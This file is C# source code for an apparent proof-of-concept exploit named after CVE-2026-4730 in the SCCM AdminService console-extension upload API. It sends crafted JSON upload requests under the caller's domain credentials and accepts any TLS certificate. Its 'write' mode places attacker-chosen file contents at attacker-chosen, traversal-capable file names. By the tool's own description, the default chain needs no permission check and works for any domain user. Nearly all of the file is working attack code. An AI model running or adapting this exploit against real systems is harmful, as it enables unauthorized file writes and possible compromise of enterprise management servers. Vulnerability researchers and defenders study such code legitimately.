Files
OmriBaso-SCCM-CVE-2026-4730…/C1_UploadExtensionInChunks_AFW.cs
2026-08-03 18:31:59 +03:00

413 lines
17 KiB
C#

using System;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading.Tasks;
namespace SccmAdminServiceCabAfwPoC
{
internal static class Program
{
private const string C1_Endpoint =
"/AdminService/v1.0/ConsoleExtensionMetadata/AdminService.UploadExtensionInChunks";
private const string C2_Endpoint =
"/AdminService/v1.0/ConsoleExtensionMetadata/AdminService.UploadExtension";
private static async Task<int> Main(string[] args)
{
if (args.Length < 1) { PrintUsage(); return 1; }
string sub = args[0].ToLowerInvariant();
bool useHttp = false;
bool verbose = false;
bool useC2 = false;
int? portOverride = null;
string allowUnsignedJson = "false"; // raw JSON token; default to bool false (binder-safe)
string payloadText = null; // --text "<string>" override
var positional = new System.Collections.Generic.List<string>();
for (int i = 1; i < args.Length; i++)
{
string a = args[i];
if (a.Equals("--http", StringComparison.OrdinalIgnoreCase))
{
useHttp = true;
}
else if (a.Equals("--c2", StringComparison.OrdinalIgnoreCase))
{
useC2 = true;
}
else if (a.Equals("--verbose", StringComparison.OrdinalIgnoreCase)
|| a.Equals("-v", StringComparison.OrdinalIgnoreCase))
{
verbose = true;
}
else if (a.Equals("--port", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
if (!int.TryParse(args[++i], out int p) || p <= 0 || p > 65535)
{
Console.Error.WriteLine("--port must be 1-65535");
return 1;
}
portOverride = p;
}
else if (a.Equals("--allow-unsigned", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
{
allowUnsignedJson = ToJsonToken(args[++i]);
}
else if ((a.Equals("--text", StringComparison.OrdinalIgnoreCase)
|| a.Equals("--content", StringComparison.OrdinalIgnoreCase))
&& i + 1 < args.Length)
{
payloadText = args[++i];
}
else
{
positional.Add(a);
}
}
string scheme = useHttp ? "http" : "https";
int port = portOverride ?? (useHttp ? 80 : 443);
switch (sub)
{
case "probe":
if (positional.Count < 1) { PrintUsage(); return 1; }
return await RunProbe(scheme, positional[0], port, allowUnsignedJson,
positional.Count >= 2 ? positional[1] : null, verbose, useC2);
case "write":
if (positional.Count < 2) { PrintUsage(); return 1; }
return await RunWrite(scheme, positional[0], port, allowUnsignedJson,
positional[1],
positional.Count >= 3 ? positional[2] : null,
payloadText, verbose, useC2);
default:
PrintUsage();
return 1;
}
}
// Convert a CLI string into a raw JSON token:
// "3", "-1" -> number (3, -1)
// "true" / "false" -> boolean (true, false)
// "null" -> null
// anything else -> JSON string ("...")
private static string ToJsonToken(string s)
{
if (s == null) return "null";
if (s.Equals("true", StringComparison.OrdinalIgnoreCase)) return "true";
if (s.Equals("false", StringComparison.OrdinalIgnoreCase)) return "false";
if (s.Equals("null", StringComparison.OrdinalIgnoreCase)) return "null";
if (long.TryParse(s, out _)) return s;
if (double.TryParse(s, System.Globalization.NumberStyles.Float,
System.Globalization.CultureInfo.InvariantCulture, out _)) return s;
return "\"" + JsonEscape(s) + "\"";
}
private static string BuildUrl(string scheme, string host, int port, bool c2)
{
bool defaultPort = (scheme == "https" && port == 443) || (scheme == "http" && port == 80);
string authority = defaultPort ? host : (host + ":" + port);
return scheme + "://" + authority + (c2 ? C2_Endpoint : C1_Endpoint);
}
private static async Task<int> RunProbe(string scheme, string host, int port, string allowUnsignedJson, string markerText, bool verbose, bool c2)
{
if (string.IsNullOrEmpty(markerText))
{
markerText = "probe " + DateTime.UtcNow.ToString("O") + " "
+ Environment.UserDomainName + "\\" + Environment.UserName;
}
byte[] payload = Encoding.UTF8.GetBytes(markerText);
string payloadB64 = Convert.ToBase64String(payload);
string body;
if (c2)
{
body =
"{"
+ "\"AllowUnsigned\":" + allowUnsignedJson + ","
+ "\"CabFile\":{"
+ "\"FileName\":\"probe_marker.cab\","
+ "\"FileContent\":\"" + payloadB64 + "\""
+ "}"
+ "}";
}
else
{
Guid sessionId = Guid.NewGuid();
body =
"{"
+ "\"SessionId\":\"" + sessionId + "\","
+ "\"IsFinalChunk\":false,"
+ "\"AllowUnsigned\":" + allowUnsignedJson + ","
+ "\"CabFile\":{"
+ "\"FileName\":\"probe_marker.txt\","
+ "\"FileContent\":\"" + payloadB64 + "\""
+ "}"
+ "}";
}
string url = BuildUrl(scheme, host, port, c2);
Console.WriteLine("Mode : probe");
Console.WriteLine("Chain : " + (c2 ? "C2 (UploadExtension — requires RBAC)" : "C1 (UploadExtensionInChunks — no RBAC)"));
Console.WriteLine("Target : " + host);
Console.WriteLine("Identity : " + Environment.UserDomainName + "\\" + Environment.UserName);
Console.WriteLine("Auth : SSPI (Negotiate/Kerberos)");
if (verbose)
{
Console.WriteLine("Endpoint : " + url);
Console.WriteLine("Payload : " + payload.Length + " bytes");
Console.WriteLine();
Console.WriteLine("Request JSON:");
Console.WriteLine(body);
}
else
{
Console.WriteLine();
Console.WriteLine("[Presentation Mode - Hiding Parameters]");
}
Console.WriteLine();
return await SendAndReport(url, body, verbose);
}
private static async Task<int> RunWrite(string scheme, string host, int port, string allowUnsignedJson, string fileName, string payloadPath, string payloadText, bool verbose, bool c2)
{
byte[] payload;
if (payloadText != null)
{
payload = Encoding.UTF8.GetBytes(DecodeEscapes(payloadText));
}
else if (!string.IsNullOrEmpty(payloadPath))
{
payload = File.ReadAllBytes(payloadPath);
}
else
{
payload = Encoding.UTF8.GetBytes(
"AFW marker " + DateTime.UtcNow.ToString("O") + " "
+ Environment.UserDomainName + "\\" + Environment.UserName);
}
fileName = DecodeEscapes(fileName);
string payloadB64 = Convert.ToBase64String(payload);
string body;
if (c2)
{
body =
"{"
+ "\"AllowUnsigned\":" + allowUnsignedJson + ","
+ "\"CabFile\":{"
+ "\"FileName\":\"" + JsonEscape(fileName) + "\","
+ "\"FileContent\":\"" + payloadB64 + "\""
+ "}"
+ "}";
}
else
{
Guid sessionId = Guid.NewGuid();
body =
"{"
+ "\"SessionId\":\"" + sessionId + "\","
+ "\"IsFinalChunk\":true,"
+ "\"AllowUnsigned\":" + allowUnsignedJson + ","
+ "\"CabFile\":{"
+ "\"FileName\":\"" + JsonEscape(fileName) + "\","
+ "\"FileContent\":\"" + payloadB64 + "\""
+ "}"
+ "}";
}
string url = BuildUrl(scheme, host, port, c2);
Console.WriteLine("Mode : write");
Console.WriteLine("Chain : " + (c2 ? "C2 (UploadExtension — requires RBAC)" : "C1 (UploadExtensionInChunks — no RBAC)"));
Console.WriteLine("Target : " + host);
Console.WriteLine("Identity : " + Environment.UserDomainName + "\\" + Environment.UserName);
Console.WriteLine("Auth : SSPI (Negotiate/Kerberos)");
if (verbose)
{
Console.WriteLine("Endpoint : " + url);
Console.WriteLine("FileName : " + fileName);
Console.WriteLine("Payload : " + payload.Length + " bytes");
Console.WriteLine();
Console.WriteLine("Request JSON:");
Console.WriteLine(body);
}
else
{
Console.WriteLine();
Console.WriteLine("[Presentation Mode - Hiding Parameters]");
}
Console.WriteLine();
return await SendAndReport(url, body, verbose);
}
private static async Task<int> SendAndReport(string url, string body, bool verbose)
{
HttpStatusCode status;
string respBody;
try
{
var r = await SendAsync(url, body);
status = r.Item1;
respBody = r.Item2;
}
catch (Exception ex)
{
Console.Error.WriteLine("Transport failure:");
int depth = 0;
for (Exception cur = ex; cur != null; cur = cur.InnerException, depth++)
{
Console.Error.WriteLine(new string(' ', depth * 2)
+ cur.GetType().Name + ": " + cur.Message);
}
return 3;
}
Console.WriteLine("HTTP " + (int)status + " " + status);
if (verbose)
{
Console.WriteLine("Body : " + respBody);
}
else
{
Console.WriteLine("Body : [Hidden - use --verbose to show]");
}
return 0;
}
private static async Task<Tuple<HttpStatusCode, string>> SendAsync(string url, string body)
{
var handler = new HttpClientHandler
{
UseDefaultCredentials = true,
PreAuthenticate = true,
Credentials = CredentialCache.DefaultNetworkCredentials,
AllowAutoRedirect = false,
ServerCertificateCustomValidationCallback =
HttpClientHandler.DangerousAcceptAnyServerCertificateValidator,
};
handler.SslProtocols =
System.Security.Authentication.SslProtocols.Tls12 |
System.Security.Authentication.SslProtocols.Tls13;
using (var client = new HttpClient(handler) { Timeout = TimeSpan.FromSeconds(30) })
using (var req = new HttpRequestMessage(HttpMethod.Post, url))
{
req.Content = new StringContent(body, Encoding.UTF8, "application/json");
using (var resp = await client.SendAsync(req))
{
string text = await resp.Content.ReadAsStringAsync();
return Tuple.Create(resp.StatusCode, text);
}
}
}
// Decode \xHH and \uHHHH from CLI strings into actual chars. Leaves any
// other backslash sequence alone (so Windows paths like ..\foo\bar work).
private static string DecodeEscapes(string s)
{
if (string.IsNullOrEmpty(s)) return s;
var sb = new StringBuilder(s.Length);
int i = 0;
while (i < s.Length)
{
char c = s[i];
if (c == '\\' && i + 1 < s.Length)
{
char n = s[i + 1];
if (n == 'x' && i + 4 <= s.Length
&& int.TryParse(s.Substring(i + 2, 2),
System.Globalization.NumberStyles.HexNumber,
System.Globalization.CultureInfo.InvariantCulture, out int b))
{
sb.Append((char)b);
i += 4;
continue;
}
if (n == 'u' && i + 6 <= s.Length
&& int.TryParse(s.Substring(i + 2, 4),
System.Globalization.NumberStyles.HexNumber,
System.Globalization.CultureInfo.InvariantCulture, out int cp))
{
sb.Append((char)cp);
i += 6;
continue;
}
}
sb.Append(c);
i++;
}
return sb.ToString();
}
private static string JsonEscape(string s)
{
var sb = new StringBuilder(s.Length + 8);
foreach (char c in s)
{
switch (c)
{
case '\\': sb.Append("\\\\"); break;
case '"': sb.Append("\\\""); break;
case '\b': sb.Append("\\b"); break;
case '\f': sb.Append("\\f"); break;
case '\n': sb.Append("\\n"); break;
case '\r': sb.Append("\\r"); break;
case '\t': sb.Append("\\t"); break;
default:
if (c < 0x20) sb.AppendFormat("\\u{0:X4}", (int)c);
else sb.Append(c);
break;
}
}
return sb.ToString();
}
private static string Truncate(string s, int n)
{
if (string.IsNullOrEmpty(s)) return string.Empty;
return s.Length <= n ? s : s.Substring(0, n) + "...";
}
private static void PrintUsage()
{
Console.WriteLine("Usage:");
Console.WriteLine(" C1_AFW.exe probe [flags] <host> [marker_text]");
Console.WriteLine(" C1_AFW.exe write [flags] <host> <filename> [payload_file]");
Console.WriteLine();
Console.WriteLine("Chains:");
Console.WriteLine(" (default) C1 — UploadExtensionInChunks (no RBAC check, any domain user)");
Console.WriteLine(" --c2 C2 — UploadExtension (requires Create on SMS_ConsoleExtensionData)");
Console.WriteLine();
Console.WriteLine("Flags:");
Console.WriteLine(" --c2 use C2 chain (UploadExtension with RBAC)");
Console.WriteLine(" --verbose / -v show full request details (endpoints, JSON, response body)");
Console.WriteLine(" --http use http:// instead of https://");
Console.WriteLine(" --port N override port (default 443/80)");
Console.WriteLine(" --allow-unsigned V value for the AllowUnsigned parameter (default: false)");
Console.WriteLine(" --text \"<string>\" supply payload as UTF-8 text directly from CLI");
Console.WriteLine(" --content \"<string>\" alias for --text");
Console.WriteLine();
Console.WriteLine("Examples:");
Console.WriteLine(" C1_AFW.exe probe <host> C1: probe as any domain user");
Console.WriteLine(" C1_AFW.exe probe --c2 <host> C2: probe as Operations Admin");
Console.WriteLine(" C1_AFW.exe write <host> <filename> <cab_file> C1: upload via chunked (no RBAC)");
Console.WriteLine(" C1_AFW.exe write --c2 <host> <filename> <cab> C2: upload via UploadExtension");
Console.WriteLine(" C1_AFW.exe write --verbose <host> <filename>");
}
}
}